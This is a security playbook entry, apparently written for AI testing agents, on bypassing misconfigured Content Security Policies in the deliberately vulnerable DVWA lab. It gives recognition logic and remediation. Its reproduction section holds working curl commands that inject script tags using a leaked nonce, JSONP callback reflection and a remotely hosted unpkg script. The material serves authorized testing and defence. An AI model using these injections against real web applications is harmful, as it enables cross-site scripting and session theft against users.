Cybernetics

Diagnostic playbook

Content Security Policy bypass (permissive allowlist, unsafe-inline, JSONP same-origin)

Web / Content Security Policy / XSS

Knowledge identity

Definition and taxonomy

Summary

A Content-Security-Policy is present but is misconfigured in a way that still permits attacker-injected script execution: overly broad script-src, 'unsafe-inline' with a static nonce, or a same-origin JSONP callback reflection.

Severity rationale

Demonstrated CSP bypass vectors in the authorized lab: (low) script-src allowlists content-hosting domains, (medium) 'unsafe-inline' plus a hardcoded base64 nonce is directly usable, (high) a same-origin JSONP endpoint reflects the callback so script-src 'self' is insufficient. Execution is browser-side; verified via header inspection, raw include reflection, and callback injection responses.

Aliases

CSP bypass, JSONP injection, nonce leak

Standards

CWE-79 CAPEC-588 A05:2021-Security Misconfiguration

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

1. First Signal

What should make an agent suspicious

Symptoms

The include value appears verbatim inside a <script> tag in the response; the CSP header lists content-hosting domains or unsafe-inline; jsonp.php?callback=payload returns payload(...) with no validation.

Prerequisites

Authorized lab session. CSP present but misconfigured; an include/script-src injection point; a JSONP endpoint reflecting callback.

2. Recognition Logic

How to recognize this next time

If a page has CSP but accepts a URL/script snippet, check the script-src allowlist for content-hosting domains (pastebin, jsdelivr, unpkg). If 'unsafe-inline' or a hardcoded nonce is present, inline scripts work. If a same-origin JSONP endpoint reflects a callback, use it as the script src.

3. Diagnostic Procedure

Safe checks, in order

  1. Confirm authorized scope. 2. Read the CSP header. 3. Inject a script tag via the include parameter and confirm reflection. 4. Test the allowlisted-domain and nonce vectors. 5. Probe JSONP callback reflection. 6. Record header and reflection evidence.

4. Proof

Evidence

DVWA csp: low CSP allowlists unpkg/jsdelivr/pastebin and include=<script src=...> reflected; medium CSP includes 'unsafe-inline' and nonce TmV2ZXIg... and include=<script nonce=...>alert(1)</script> reflected raw; high CSP is script-src 'self' but jsonp.php?callback=alert(1)// returns alert(1)//({"answer":"15"}) and a same-origin script src for it is allowed.

5. Controls

Negative checks

At all levels the CSP header is present (so absence-of-CSP is not the issue); the bypasses come from misconfiguration rather than missing CSP.

6. Avoid Bad Memory

False positives and traps

A CSP header existing does not mean secure; reflection without browser execution needs the script-src analysis to prove execution.

7. Why It Matters

Impact

Attacker-controlled JavaScript executes in the victim's browser despite a CSP, enabling session theft or UI redressing in a real app.

8. Why It Happened

Root cause

CSP misconfiguration: broad script-src, unsafe-inline or static/known nonce, and an unsanitized JSONP callback served same-origin.

9. Fix

Remediation and prevention

Use a tight script-src without unsafe-inline; generate random per-response nonces; validate JSONP callbacks against a regex/allowlist; host and control all script sources.

10. Re-test

Verification steps

  1. After fix, confirm the include injection no longer reflects script tags. 2. Confirm jsonp.php rejects non-alphanumeric callbacks. 3. Confirm CSP has no unsafe-inline and random nonces. 4. Regression tests.

Reference

Tools and sources

Tools used

curl for headers and reflection, docker exec for read-only source review

References

OWASP CSP Cheat Sheet; PortSwigger CSP bypass lab; CWE-79

Intelligence

Products and history

Technologies

PHP, HTTP headers, JavaScript

Affected products / versions

DVWA (Damn Vulnerable Web Application) current master

History

First documented in DVWA csp module in the 2026-08 benchmark run.

Exploit knowledge

Variants and references

Attack surface

include POST parameter injected into a <script> tag; jsonp.php callback parameter reflected into a JS response; CSP script-src directive

Exploit maturity

proof-of-concept

Known variants

Broad script-src allowlist (low), 'unsafe-inline' and hardcoded nonce (medium), JSONP callback reflection defeating script-src 'self' (high), injection of arbitrary script tags via an include parameter

Defensive signatures

CSP headers containing content-hosting domains or 'unsafe-inline', hardcoded nonces visible in source, jsonp endpoints reflecting a callback parameter into JavaScript responses

Reproduction commands

Low (broad allowlist + script tag injection): curl -s -b $JAR -d 'include=https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js' http://127.0.0.1:4280/vulnerabilities/csp/ Medium (unsafe-inline + leaked static nonce): curl -s -b $JAR -d 'include=<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>' http://127.0.0.1:4280/vulnerabilities/csp/ High (JSONP callback reflection, same-origin allowed by script-src self): curl -s -b $JAR 'http://127.0.0.1:4280/vulnerabilities/csp/source/jsonp.php?callback=alert(1)//' # alert(1)//({"answer":"15"}) curl -s -b $JAR -d 'include=<script src="source/jsonp.php?callback=alert(1)//"></script>' http://127.0.0.1:4280/vulnerabilities/csp/

Exploit references

No external references stored; the known diginija unpkg/jsdelivr bypass scripts are referenced only as proof URLs, not loaded during testing.

Case provenance

Linked findings